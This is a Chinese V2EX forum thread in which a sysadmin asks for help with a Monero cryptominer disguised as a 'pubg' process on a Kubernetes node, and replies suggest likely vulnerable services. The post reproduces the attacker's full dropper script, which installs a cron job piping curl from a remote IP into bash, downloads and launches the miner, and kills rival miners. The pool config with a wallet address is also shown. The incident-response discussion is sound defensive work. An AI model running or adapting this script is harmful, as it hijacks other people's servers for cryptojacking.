V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
Distributions
Ubuntu
Fedora
CentOS
中文资源站
网易开源镜像站
PyPog
V2EX  ›  Linux

服务器遭遇一个 pubg 的程序入侵

  •  
  •   PyPog · 2017-11-07 20:12:06 +08:00 · 5638 次点击
    这是一个创建于 2574 天前的主题,其中的信息可能已经有所发展或是发生改变。

    下午突然收到报警,服务器 cpu load 值很高,登录服务器查看,发现被搞了。

    top 里边发现一个叫 pubg 的进程一直占用 98%左右的 cpu 使用率,使用 lsof 查看进程打开的文件,找到了程序所在,强制杀掉进程,删除 pubg 文件,发现过一会进程自动启动了,猜测应该是有计划任务。

    检查计划任务,发现果然有一条规则,每分钟都会从一个 ip 地址下载一个叫 steam.sh 的脚本并且执行,查找 ip 地址所属地,发现位于台湾。

    清理计划任务,杀掉 pubg 进程,发现过一会计划任务和进程有全部恢复了,采用 sysdig 检查所有用户行为,没看到有用户进行奇怪的操作,检查不到是什么操作修改计划任务和恢复了 pubg 进程。

    最后,停止 crond 进程,杀掉 pubg 进程,发现 pubg 进程没有再次恢复,暂时解决了问题。

    想问一下大伙,有什么其他的办法能检查出这个攻击的根源在那里。

    谢谢大伙

    steam.sh 内容如下:

    #!/bin/sh
    /bin/cat /dev/null > /mnt/etc/crontab
    ps -fe|grep pubg |grep -v grep
    if [ $? -eq 0 ]
    then
    	pwd
    else
    	kill -9 `ps -eo pcpu,pid,cmd | sort -k1 -r | awk '{if($1>60)print$2}'`
    	ps auxf|grep -v grep|grep "stratum"|awk '{print $2}'|xargs kill -9
    	ps auxf|grep -v grep|grep "cryptonight"|awk '{print $2}'|xargs kill -9
    	ps auxf|grep -v grep|grep "ysjswirmrm"|awk '{print $2}'|xargs kill -9
    	ps auxf|grep -v grep|grep "jaav"|awk '{print $2}'|xargs kill -9
    	ps auxf|grep -v grep|grep "snapd"|awk '{print $2}'|xargs kill -9
    	crontab -r || true && \
    		echo "* * * * * /usr/bin/curl -s http://35.194.156.203/steam.sh | /bin/bash -s" >> /tmp/cron || true && \
    		crontab /tmp/cron || true && \
    		rm -rf /tmp/cron || true && \
    		curl -o /var/tmp/config.json http://35.194.156.203/config_1.json
    	curl -o /var/tmp/pubg http://35.194.156.203/gcc
    	chmod 777 /var/tmp/pubg
    	cd /var/tmp
    	proc=`grep -c ^processor /proc/cpuinfo`
    	cores=$(($proc+1))
    	num=$(($cores*3))
    	/sbin/sysctl -w vm.nr_hugepages=$num
    	nohup ./pubg -c config.json -t `echo $cores` >/dev/null &
    fi
    ps -fe|grep pubg |grep -v grep
    if [ $? -eq 0 ]
    then
    	pwd
    else
    	curl -o /var/tmp/config.json http://35.194.156.203/config_1.json
    	curl -o /var/tmp/pubg http://35.194.156.203/gcc
    	chmod 777 /var/tmp/pubg
    	cd /var/tmp
    	proc=`grep -c ^processor /proc/cpuinfo`
    	cores=$(($proc+1))
    	num=$(($cores*3))
    	/sbin/sysctl -w vm.nr_hugepages=$num
    	nohup ./pubg -c config.json -t `echo $cores` >/dev/null &
    fi
    echo "runing....."%
    

    config.json 内容如下:

    {
        "algo": "cryptonight",
        "av": 0,
        "background": false,
        "colors": true,
        "cpu-affinity": null,
        "cpu-priority": null,
        "donate-level": 0,
        "log-file": null,
        "max-cpu-usage": 90,
        "print-time": 60,
        "retries": 5,
        "retry-pause": 5,
        "safe": false,
        "syslog": false,
        "threads": null,
        "pools": [
            {
                "url": "stratum+tcp://get.bi-chi.com:5555",
                "user": "44R6cfEH1wM6HHKGa3jK3UHBadhGS9VmDfVCzo33ZUw1GB46TSUqtiqWbwaVe4vUMveKAzAiA4j8xgUi29TpKXpm3xGNuHx",
                "pass": "x",
                "keepalive": false,
                "nicehash": false
            }
        ]
    }
    
    24 条回复    2017-11-15 17:17:01 +08:00
    crytis
        1
    crytis  
       2017-11-07 20:14:28 +08:00
    pubg 不是吃鸡么?
    app13
        2
    app13  
       2017-11-07 20:17:45 +08:00 via Android
    这是把挖门罗币的程序伪装成吃鸡么……
    huanxianghao
        3
    huanxianghao  
       2017-11-07 20:22:27 +08:00 via iPhone
    最近挖矿的贼好多,我一台老 window 机器也中招了
    orient
        4
    orient  
       2017-11-07 20:34:08 +08:00
    23.06 KH/sec 果然群众的力量吗
    PyPog
        5
    PyPog  
    OP
       2017-11-07 21:51:38 +08:00
    @crytis 是吃鸡,程序的名字就是这个,当时我还楞了一下
    PyPog
        6
    PyPog  
    OP
       2017-11-07 21:52:29 +08:00 via Android
    @app13 请问你是怎么判断这是挖矿程序的
    PyPog
        7
    PyPog  
    OP
       2017-11-07 21:52:45 +08:00 via Android
    @huanxianghao 蛋疼
    7654
        8
    7654  
       2017-11-07 21:58:21 +08:00
    @PyPog #6 bi-chi 币池
    vipper
        9
    vipper  
       2017-11-07 21:59:44 +08:00
    ```
    "url": "stratum+tcp://get.bi-chi.com:5555",
    "user":
    "44R6cfEH1wM6HHKGa3jK3UHBadhGS9VmDfVCzo33ZUw1GB46TSUqtiqWbwaVe4vUMveKAzAiA4j8xgUi29TpKXpm3xGNuHx",
    "pass": "x",
    "keepalive": false,
    "nicehash": false
    ```

    这里 url 是矿池地址,user 应该是用户的钱包地址
    yichinzhu
        10
    yichinzhu  
       2017-11-07 22:03:02 +08:00 via Android
    服务器开了哪些服务?我猜一下可能出现问题的点
    PyPog
        11
    PyPog  
    OP
       2017-11-07 22:15:45 +08:00 via Android
    @yichinzhu 是 kubernetes 集群的工作节点,下午运行了一下 EFK 那一套,然后就被其他同事叫走了,然后过了一会手机就收到报警短信,上边还有 GlusterFS,zabbix 的 agent
    PyPog
        12
    PyPog  
    OP
       2017-11-07 22:16:11 +08:00 via Android
    @7654 👍
    PyPog
        13
    PyPog  
    OP
       2017-11-07 22:16:35 +08:00 via Android
    @vipper 👍没注意到这里
    yichinzhu
        14
    yichinzhu  
       2017-11-07 22:46:09 +08:00
    @PyPog abbix 跟 es 都有可能,查了一下最近的几年的高危漏洞
    zabbix 远程代码执行漏洞 CVE-2017-2824 影响版本 2.4.7 - 2.4.8r1
    zabbix SQL 注入漏洞 2016 年 影响版本 2.2.x, 3.0.0-3.0.3
    zabbix API JSON-RPC 远程代码执行漏洞 2016 年 影响版本 2.2 < 3.0.3
    es Groovy 任意命令执行漏洞 cve-2015-1427 影响版本 1.3.0-1.3.7 1.4.x
    es snapshot 写 shell 2015 年 影响版本 未知
    es 远程代码执行漏洞 CVE-2014-3120 影响版本 1.2 之前
    检查一下这两个服务的版本号,是不是很久没更新了,以及是不是没有配置相应的 ACL 策略
    PyPog
        15
    PyPog  
    OP
       2017-11-07 23:12:19 +08:00
    @yichinzhu 多谢指导

    zabbix 我用的是 3.2 的版本,es 的版本好像也挺新的,明天仔细检查一下
    ysicing
        16
    ysicing  
       2017-11-07 23:39:02 +08:00
    @PyPog 我也遇到类似的,测试环境,方便测试 k8s api 就暴露在了公网,然后就被挖矿了= =
    yichinzhu
        17
    yichinzhu  
       2017-11-07 23:41:02 +08:00   ❤️ 1
    @PyPog 我对 kubernetes 不太熟,刚刚查了一下,如果开放 8080 端口的话,也是可以写定时任务导致命令执行的,参考 https://paper.seebug.org/332/
    fov6363
        18
    fov6363  
       2017-11-08 00:02:36 +08:00
    Elastic 有可能,前一段时间也是跑了一个 ELK,结果也被刷了,也是挖矿的,入侵的方式就是通过 Elastic 的用户名 /密码 入侵的,希望对你有帮助.
    mritd
        19
    mritd  
       2017-11-08 09:51:13 +08:00 via iPhone   ❤️ 1
    @PyPog 检查 apiserver 是否公网开放了 8080,kubelet 是否允许特权容器运行
    mritd
        20
    mritd  
       2017-11-08 09:52:07 +08:00 via iPhone
    还有就是检查一下你的镜像是否合法
    PyPog
        21
    PyPog  
    OP
       2017-11-08 11:46:56 +08:00 via Android
    @mritd 只对本地自己用的公网 IP 地址开放了 8080,镜像这个确实需要查一下
    mritd
        22
    mritd  
       2017-11-08 11:58:34 +08:00
    @PyPog 镜像其实感觉官方的 太 low 或者不适用 最好自己撸,我就造了不少轮子, 嘿嘿 https://github.com/mritd/dockerfile
    PyPog
        23
    PyPog  
    OP
       2017-11-08 13:41:51 +08:00
    @mritd 哇,感谢,有时间学习一下
    findex
        24
    findex  
       2017-11-15 17:17:01 +08:00   ❤️ 1
    这是将挖矿的程序伪装成 steam 吃鸡的进程。
    看了看代码,竟然是用你的 CPU 多线程开挖。像是这种情况,你可以将证据收集,去矿场 bi-chi.com 发 ticket 说明自己收到了攻击,请求吊销该 ID 的所有的挖矿许可。
    其次,你要自己查看下对方利用什么方式侵入你的主机的。有没有 patch 你的服务器。看看 CVE 上最新的远程执行漏洞。服务器太老,记得升级,不 patch 的话风险很大的。
    关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   实用小工具   ·   5620 人在线   最高记录 6679   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 28ms · UTC 08:06 · PVG 16:06 · LAX 00:06 · JFK 03:06
    Developed with CodeLauncher
    ♥ Do have faith in what you're doing.